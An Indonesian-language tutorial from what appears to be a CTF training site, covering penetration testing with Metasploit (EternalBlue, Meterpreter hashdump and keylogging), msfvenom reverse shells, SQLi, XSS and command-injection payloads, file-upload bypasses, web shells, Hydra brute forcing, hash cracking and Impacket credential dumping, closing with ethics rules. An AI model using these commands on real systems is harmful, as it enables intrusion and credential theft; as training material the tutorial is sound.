TDCTF Academy Logo TDCTF ACADEMY

8.3.1 Penetration Testing

Pendahuluan

Penetration Testing adalah fase di mana kerentanan yang telah diidentifikasi pada fase scanning dan reconnaissance benar-benar dieksploitasi untuk mendapatkan akses ke sistem target. Tujuan utama fase ini bukan sekadar merusak sistem, melainkan membuktikan bahwa kerentanan tersebut dapat dieksploitasi dan memiliki dampak nyata terhadap keamanan organisasi.

Dalam konteks ethical hacking, setiap teknik eksploitasi harus dilakukan secara terkontrol, terdokumentasi, dan dalam scope yang telah disepakati. Artikel ini membahas lima area utama penetration testing: framework eksploitasi otomatis, eksploitasi berbasis buffer overflow, web exploitation, serangan password, dan penggunaan exploit database.

1. Framework Eksploitasi: Metasploit

1.1 Pengenalan Metasploit

Metasploit Framework adalah platform eksploitasi open-source paling populer di industri keamanan siber. Dikembangkan oleh Rapid7, Metasploit menyediakan infrastruktur lengkap untuk mengembangkan, menguji, dan mengeksekusi exploit terhadap sistem target.

Komponen Utama Metasploit:

  • msfconsole - Antarmuka interaktif utama Metasploit
  • Exploit - Modul yang mengeksploitasi kerentanan spesifik
  • Payload - Kode yang dikirimkan setelah exploit berhasil (reverse shell, meterpreter, bind shell)
  • Auxiliary - Modul pendukung (scanner, fuzzer, DoS)
  • Post - Modul post-exploitation untuk aktivitas setelah akses didapatkan
  • Encoder - Mengubah bentuk payload untuk menghindari deteksi antivirus/IDS
  • NOP Generator - Menghasilkan NOP sled untuk exploit buffer overflow

1.2 Alur Kerja Metasploit

msfconsole
search [type:exploit] [cve:2024]
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
check
run

Langkah Dasar:

  1. Search - Cari modul exploit berdasarkan CVE, platform, atau aplikasi target
  2. Use - Pilih modul exploit
  3. Set Options - Konfigurasi parameter (RHOSTS, LHOST, LPORT, dll)
  4. Check - Verifikasi apakah target rentan
  5. Run/Exploit - Eksekusi exploit

1.3 Meterpreter

Meterpreter adalah payload interaktif khas Metasploit yang berjalan di memori target (fileless) dan menyediakan berbagai kemampuan post-exploitation:

# Setelah mendapatkan session Meterpreter
meterpreter > sysinfo # Informasi sistem target
meterpreter > getuid # User saat ini
meterpreter > ps # Daftar proses berjalan
meterpreter > hashdump # Dump password hash (Windows)
meterpreter > screenshot # Ambil screenshot
meterpreter > shell # Dapatkan shell sistem
meterpreter > upload /tmp/exploit.exe C:\\Users\\target
meterpreter > download C:\\secret\\data.txt /tmp/
meterpreter > keyscan_start # Keylogging
meterpreter > migrate 1234 # Pindah proses untuk persistensi

1.4 Contoh Eksploitasi dengan Metasploit

Eksploitasi EternalBlue (MS17-010):

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.50
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.100
msf6 > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.50:445 - Connecting to target...
[+] 192.168.1.50:445 - Target is vulnerable
[*] Sending exploit payload...
[*] Meterpreter session 1 opened

2. Searchsploit dan Exploit-DB

2.1 Searchsploit

Searchsploit adalah command-line toolkit untuk mencari exploit di Exploit-DB secara lokal. Tool ini sangat berguna saat melakukan pentest offline.

# Installasi
sudo apt install exploitdb

# Pencarian exploit berdasarkan aplikasi dan versi
searchsploit apache 2.4.49
searchsploit wordpress 5.7
searchsploit sudo buffer overflow
searchsploit -t linux kernel 5.8

# Melihat detail exploit
searchsploit -x exploits/linux/local/50962.c

# Copy exploit ke direktori kerja
searchsploit -m 50962

Parameter Penting:

  • -t - Pencarian berdasarkan judul (lebih spesifik)
  • -x - Membuka exploit di terminal
  • -m - Meng-copy exploit ke direktori kerja
  • -w - Menampilkan URL Exploit-DB

2.2 Exploit-DB

Exploit-DB adalah database publik berisi ribuan exploit yang telah diverifikasi. Dikelola oleh Offensive Security, database ini menjadi referensi utama untuk mencari exploit yang sudah teruji.

Kategori exploit di Exploit-DB:

  • Remote Exploits - Dieksekusi melalui jaringan tanpa akses lokal
  • Local Exploits - Membutuhkan akses lokal ke sistem target
  • Web Exploits - Menargetkan aplikasi web
  • Denial of Service (DoS) - Menyebabkan layanan crash
  • Shellcode - Potongan kode payload yang siap digunakan
  • Papers - Dokumentasi teknis tentang teknik eksploitasi

3. Buffer Overflow

3.1 Konsep Dasar

Buffer overflow terjadi ketika program menulis data melebihi kapasitas buffer yang dialokasikan di memori. Data berlebih ini menimpa area memori adjacent seperti return address, menyebabkan program mengeksekusi kode yang tidak seharusnya.

Struktur Stack pada Buffer Overflow:

[Buffer (ukuran alokasi)] ← Input yang overflow
[Saved EBP] ← Base pointer tersimpan
[Return Address] ← Dapat ditimpa dengan alamat shellcode
[Local Variables] ← Variabel lokal

3.2 Langkah Eksploitasi Buffer Overflow

  1. Fuzzing - Kirim data semakin besar hingga program crash
  2. Offset Discovery - Temukan offset tepat di mana return address ditimpa (gunakan pattern_create/pattern_offset dari Metasploit)
  3. Bad Character Identification - Identifikasi karakter yang tidak boleh ada dalam payload
  4. Return Address - Tentukan alamat return yang menunjuk ke shellcode
  5. Shellcode - Masukkan shellcode (biasanya reverse shell)
  6. Exploitation - Kirim payload final
# Membuat pattern untuk menemukan offset
msf-pattern_create -l 3000

# Menemukan offset dari nilai EIP yang tertimpa
msf-pattern_offset -q 0x69423569

# Membuat shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
-b "\x00\x0a\x0d" -f python

3.3 Mitigasi Buffer Overflow

  • Stack Canaries - Nilai khusus di stack yang diperiksa sebelum return
  • ASLR - Address Space Layout Randomization untuk merandomisasi alamat memori
  • DEP/NX - Data Execution Prevention, mencegah eksekusi kode dari stack
  • Safe Coding - Gunakan fungsi aman seperti strncpy() daripada strcpy()
  • Compiler Flags - Gunakan flag kompilasi seperti -fstack-protector

4. Web Exploitation

4.1 SQL Injection (SQLi)

SQL Injection adalah teknik menyisipkan query SQL berbahaya melalui input pengguna untuk memanipulasi database.

Payload umum SQLi:

' OR 1=1 --
' UNION SELECT username, password FROM users --
' AND SLEEP(5) -- (Time-based blind SQLi)

Alat bantu utama: SQLMap

sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
sqlmap -u "http://target.com/page.php?id=1" -D database -T users --dump
sqlmap -r request.txt --batch # Dari file request Burp Suite

4.2 Remote Code Execution (RCE)

RCE memungkinkan penyerang menjalankan perintah sistem operasi pada server target. Teknik RCE meliputi:

  • Command Injection - Menyisipkan perintah OS melalui input aplikasi
  • File Upload - Mengunggah file berbahaya (shell) yang kemudian dieksekusi
  • Deserialization - Eksploitasi proses deserialisasi objek
  • Server-Side Template Injection (SSTI) - Injeksi pada template engine

Command Injection:

# Input yang menyebabkan RCE
127.0.0.1; whoami
127.0.0.1 | id
127.0.0.1 \$(cat /etc/passwd)

4.3 File Upload Exploitation

File upload vulnerability terjadi ketika aplikasi mengizinkan pengguna mengunggah file tanpa validasi keamanan yang memadai.

Teknik bypass file upload:

  1. Extension bypass - Gunakan ekstensi ganda (shell.php.jpg, shell.pHp)
  2. Content-Type manipulation - Ubah Content-Type: application/x-php menjadi image/jpeg
  3. Magic byte injection - Tambahkan byte header file gambar (GIF89a) di awal file PHP
  4. Path traversal - Upload file ke direktori yang dapat dieksekusi (../shell.php)

Web Shell populer:

  • p0wny-shell - Shell berbasis PHP satu file
  • weevely - Tool stealth web shell dengan enkripsi
  • b374k - Web shell dengan file manager dan terminal

4.4 Cross-Site Scripting (XSS)

XSS memungkinkan injeksi script client-side yang dieksekusi di browser korban.

Tipe XSS:

  • Reflected XSS - Payload ada di URL, tidak tersimpan di server
  • Stored XSS - Payload tersimpan permanen di server (komentar, profil, posting)
  • DOM-based XSS - Payload dieksekusi melalui manipulasi DOM client-side

Payload XSS:

<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

5. Password Attacks

5.1 Online Password Attacks: Hydra

Hydra adalah tool serangan password online yang mendukung berbagai protokol.

# SSH Brute Force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.50

# Form-based login
hydra -l admin -P passwords.txt 192.168.1.50 http-post-form \
"/login.php:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
hydra -L users.txt -P passwords.txt ftp://192.168.1.50

# RDP brute force
hydra -l administrator -P passwords.txt rdp://192.168.1.50

Parameter Hydra:

  • -l - Username tunggal
  • -L - File daftar username
  • -p - Password tunggal
  • -P - File daftar password
  • -t - Thread count (makin tinggi makin cepat)
  • -V - Tampilkan setiap percobaan

5.2 Offline Password Cracking: John the Ripper

John the Ripper adalah tool cracking password offline yang mendukung berbagai format hash.

# Crack hash file
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Tentukan format hash
john --format=raw-md5 --wordlist=wordlist.txt hash.txt

# Tampilkan hasil yang sudah di-crack
john --show hash.txt

# Incremental mode (brute force karakter)
john --incremental hash.txt

5.3 Offline Password Cracking: Hashcat

Hashcat adalah tool cracking GPU-accelerated tercepat untuk password cracking.

# Mode dictionary attack
hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

# Mode brute force (8 karakter, semua huruf kecil)
hashcat -m 1000 -a 3 hash.txt ?l?l?l?l?l?l?l?l

# Mode kombinator (gabung wordlist)
hashcat -m 1000 -a 1 hash.txt wordlist1.txt wordlist2.txt

# Mode rule-based (gunakan aturan untuk variasi)
hashcat -m 1000 -a 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Kode mode hash umum (-m):

  • 1000 - NTLM (Windows)
  • 1800 - sha512crypt (Linux shadow)
  • 3200 - bcrypt
  • 13100 - Kerberos 5 TGS-REP
  • 0 - MD5

Kode mode serangan (-a):

  • 0 - Dictionary attack
  • 1 - Combinator attack
  • 3 - Mask (brute force) attack
  • 6 - Hybrid wordlist + mask
  • 7 - Hybrid mask + wordlist

5.4 Medusa

Alternatif Hydra untuk serangan password online dengan performa tinggi:

medusa -h 192.168.1.50 -u admin -P passwords.txt -M ssh
medusa -H targets.txt -U users.txt -P passwords.txt -M ftp
medusa -h 192.168.1.50 -u admin -P passwords.txt -M web-form \
-m FORM:"/login.php" -m DENY-SIGNAL:"incorrect"

6. Toolset Pendukung Lainnya

6.1 Impacket

Impacket adalah koleksi script Python untuk manipulasi protokol jaringan Windows, sangat berguna dalam pentest Active Directory.

# Eksekusi command via SMB
impacket-psexec [email protected] cmd.exe

# Dump SAM database
impacket-secretsdump [email protected]

# Kerberos attack
impacket-getTGT domain.local/administrator:password
impacket-ticketer -nthash HASH -domain domain.local administrator

6.2 Burp Suite

Burp Suite adalah platform intercepting proxy untuk pengujian keamanan aplikasi web. Fitur exploitation utama:

  • Repeater - Modifikasi dan kirim ulang request HTTP secara manual
  • Intruder - Serangan brute force dan fuzzing parameter otomatis
  • Decoder - Encode/decode payload
  • Scanner - Deteksi kerentanan otomatis (edisi Pro)

7. Etika dan Batasan

Dalam melakukan penetration testing, beberapa prinsip harus dipegang:

  1. Izin tertulis - Pastikan memiliki authorization letter / ROE (Rules of Engagement)
  2. Scope terbatas - Hanya target yang disepakati dalam kontrak
  3. Data handling - Jangan eksfiltrasi data sensitif tanpa prosedur yang disetujui
  4. Minimal damage - Prioritaskan teknik yang tidak merusak sistem
  5. Dokumentasi - Catat setiap langkah eksploitasi dengan timestamp dan evidence

Kesimpulan

Penetration Testing adalah fase yang membutuhkan kombinasi pengetahuan teknis, kreativitas, dan disiplin. Metasploit menyediakan framework yang mempercepat eksploitasi, namun pemahaman fundamental tentang buffer overflow, web exploitation, dan password attacks tetap penting. Penggunaan exploit database seperti Exploit-DB dan Searchsploit memastikan pentester memiliki akses ke exploit yang telah terverifikasi. Keberhasilan fase ini sangat bergantung pada kualitas reconnaissance dan scanning pada fase sebelumnya.

PADA HALAMAN INI